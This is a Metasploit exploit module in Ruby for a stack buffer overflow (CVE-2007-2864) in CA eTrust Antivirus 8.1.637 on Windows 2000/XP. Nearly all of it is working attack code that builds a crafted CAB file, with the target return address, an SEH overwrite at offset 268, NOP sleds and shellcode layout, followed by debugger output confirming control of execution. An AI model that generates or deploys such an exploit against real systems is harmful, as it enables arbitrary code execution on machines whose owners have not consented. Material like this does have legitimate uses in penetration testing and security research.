## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'CA Antivirus Engine CAB Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637. By creating a specially crafted CAB file, an an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'References' => [ [ 'CVE', '2007-2864' ], [ 'OSVDB', '35245'], [ 'BID', '24330' ], [ 'ZDI', '07-035' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 250, 'BadChars' => "\x00", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll ], 'Privileged' => false, 'DisclosureDate' => 'Jun 05 2007', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.cab']), ], self.class) end def exploit cab_header = "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00" cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00" cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00" cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00" sploit = make_nops(268 - payload.encoded.length) + payload.encoded sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string sploit << make_nops(800) cab = cab_header + sploit print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(cab) end end =begin 0:001> !exchain 00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8) 00cdf2fc: 316a4130 Invalid exception stack at 6a413969 0:001> !pattern_offset 1024 0x6a413969 [Byakugan] Control of 0x6a413969 at offset 268. 0:001> !pattern_offset 1024 0x316a4130 [Byakugan] Control of 0x316a4130 at offset 272. 0:001> u 0x6dc886ea L3 INOCORE!QSIInitQSysInfo+0x278a: 6dc886ea 5f pop edi 6dc886eb 5e pop esi 6dc886ec c3 ret =end